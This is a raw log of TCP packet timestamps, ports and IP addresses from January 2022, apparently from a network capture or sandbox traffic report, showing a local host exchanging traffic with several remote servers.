Jan 14, 2022 12:30:11.973120928 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.973150015 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.973175049 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.973222971 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.973227978 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.985969067 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.986018896 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.986056089 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.986068010 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.986089945 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.986116886 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.986129999 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.986207962 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.986399889 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:12.003606081 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:12.164005041 CET	49892	80	192.168.2.4	185.163.45.70
Jan 14, 2022 12:30:13.086911917 CET	49901	38133	192.168.2.4	86.107.197.138
Jan 14, 2022 12:30:13.116554022 CET	38133	49901	86.107.197.138	192.168.2.4
Jan 14, 2022 12:30:13.118257046 CET	49901	38133	192.168.2.4	86.107.197.138
Jan 14, 2022 12:30:13.160909891 CET	49903	80	192.168.2.4	185.163.45.70
Jan 14, 2022 12:30:13.512799978 CET	49905	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:13.530495882 CET	80	49905	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:13.530766010 CET	49905	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:13.530864000 CET	49905	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:13.530879021 CET	49905	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:13.548597097 CET	80	49905	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:13.593966007 CET	49907	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:13.594111919 CET	49908	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:13.654042006 CET	80	49905	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:13.654150009 CET	49905	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:13.654329062 CET	49905	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:13.654866934 CET	80	49908	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:13.654927015 CET	80	49907	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:13.655105114 CET	49908	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:13.656400919 CET	49907	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:13.657161951 CET	49908	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:13.657655954 CET	49907	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:13.671689034 CET	80	49905	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:13.683845997 CET	49909	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:13.702460051 CET	80	49909	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:13.703119040 CET	49909	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:13.703272104 CET	49909	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:13.703289986 CET	49909	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:13.720454931 CET	80	49908	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:13.720496893 CET	80	49907	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:13.720779896 CET	80	49909	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:13.720808029 CET	80	49909	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:13.777749062 CET	80	49907	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:13.780028105 CET	49907	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:13.820502996 CET	80	49908	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:13.820666075 CET	49908	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:13.837469101 CET	80	49909	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:13.840481043 CET	49909	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:13.840627909 CET	49909	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:13.858002901 CET	80	49909	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:13.870517969 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:13.887836933 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:13.887927055 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:13.888036966 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:13.925568104 CET	49908	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:13.925772905 CET	49907	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:13.940943003 CET	49912	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:13.949445009 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:13.987375021 CET	80	49908	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:13.988560915 CET	49908	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:13.990602970 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:13.990662098 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:13.990703106 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:13.990725040 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:13.990741014 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:13.990780115 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:13.990819931 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:13.990838051 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:13.990859032 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:13.990864038 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:13.990900993 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:13.990941048 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:13.990955114 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:13.990979910 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:13.991029978 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:13.996480942 CET	80	49907	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:13.999124050 CET	49907	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.008555889 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.030378103 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.030436039 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.030455112 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.030478001 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.030518055 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.030522108 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.030560970 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.030600071 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.030607939 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.030638933 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.030678034 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.030719042 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.030726910 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.030756950 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.030796051 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.030802965 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.030836105 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.030874014 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.030881882 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.030913115 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.030951023 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.030960083 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.030991077 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.031030893 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.031035900 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.031068087 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.031109095 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.031116009 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.031383991 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.036438942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.048240900 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.048280001 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.048316002 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.048335075 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.062702894 CET	49901	38133	192.168.2.4	86.107.197.138
Jan 14, 2022 12:30:14.069787025 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.069843054 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.069868088 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.069916010 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.069957018 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.069993973 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.069993973 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070034027 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070071936 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070102930 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070142031 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070173979 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.070179939 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070219994 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070250988 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.070259094 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070274115 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.070298910 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070338964 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070353031 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.070384026 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070426941 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070444107 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.070466042 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070503950 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070543051 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070559025 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.070580959 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070621014 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070636034 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.070661068 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070686102 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.070691109 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070709944 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070729017 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070745945 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070746899 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.070765018 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070782900 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070791006 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.070801973 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070815086 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.070820093 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070837975 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070853949 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.070856094 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070874929 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070889950 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.070893049 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070910931 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070910931 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.070929050 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070946932 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.070960999 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.070966959 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.071010113 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.088104010 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.088129997 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.088145971 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.088160992 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.088175058 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.088177919 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.088191032 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.088196993 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.088229895 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.094469070 CET	38133	49901	86.107.197.138	192.168.2.4
Jan 14, 2022 12:30:14.105657101 CET	80	49912	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.105766058 CET	49912	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.109287024 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109312057 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109329939 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109345913 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109361887 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109378099 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109395027 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109400988 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.109412909 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109430075 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109432936 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.109438896 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.109447002 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109464884 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109482050 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109496117 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.109500885 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109504938 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.109518051 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109535933 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109550953 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109558105 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.109569073 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109574080 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.109586000 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109603882 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109621048 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109630108 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.109635115 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109651089 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.109652996 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109671116 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109688044 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109688044 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.109704018 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109720945 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109723091 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.109738111 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109755993 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109764099 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.109772921 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109783888 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.109791994 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109810114 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109824896 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.109827042 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109846115 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109864950 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.109878063 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109895945 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109914064 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109921932 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.109926939 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109946012 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109962940 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109968901 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.109976053 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.109980106 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.109997988 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.110011101 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.110016108 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.110033035 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.110049009 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.110050917 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.110069036 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.110080004 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.110085964 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.110105038 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.110122919 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.110141993 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.110155106 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.119674921 CET	49912	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.127356052 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.127382040 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.127402067 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.127424955 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.127445936 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.127468109 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.127490044 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.127506018 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.127512932 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.127536058 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.127537012 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.127543926 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.127548933 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.127557993 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.127578974 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.127590895 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.127600908 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.127624035 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.127644062 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.127652884 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.127667904 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.127672911 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.127690077 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.127711058 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.127733946 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.127741098 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.127756119 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.127758980 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.127778053 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.127799988 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.127820969 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.127826929 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.127844095 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.127856970 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.127866983 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.127888918 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.127893925 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.127912998 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.127933025 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.127953053 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.127959013 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.127974033 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.127986908 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.127995968 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.128016949 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.128038883 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.128052950 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.128060102 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.128077984 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.128082991 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.128104925 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.128117085 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.128127098 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.128148079 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.128159046 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.128170013 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.128186941 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.128189087 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.128242016 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.140907049 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.141582012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.142493963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.142647982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.142766953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.142858028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.142950058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.143035889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.143136978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.143227100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.143317938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.143405914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.143496037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.143583059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.143673897 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.143758059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.143853903 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.143981934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.144032955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.144133091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.144223928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.144309044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.144407034 CET	49914	80	192.168.2.4	185.215.113.35
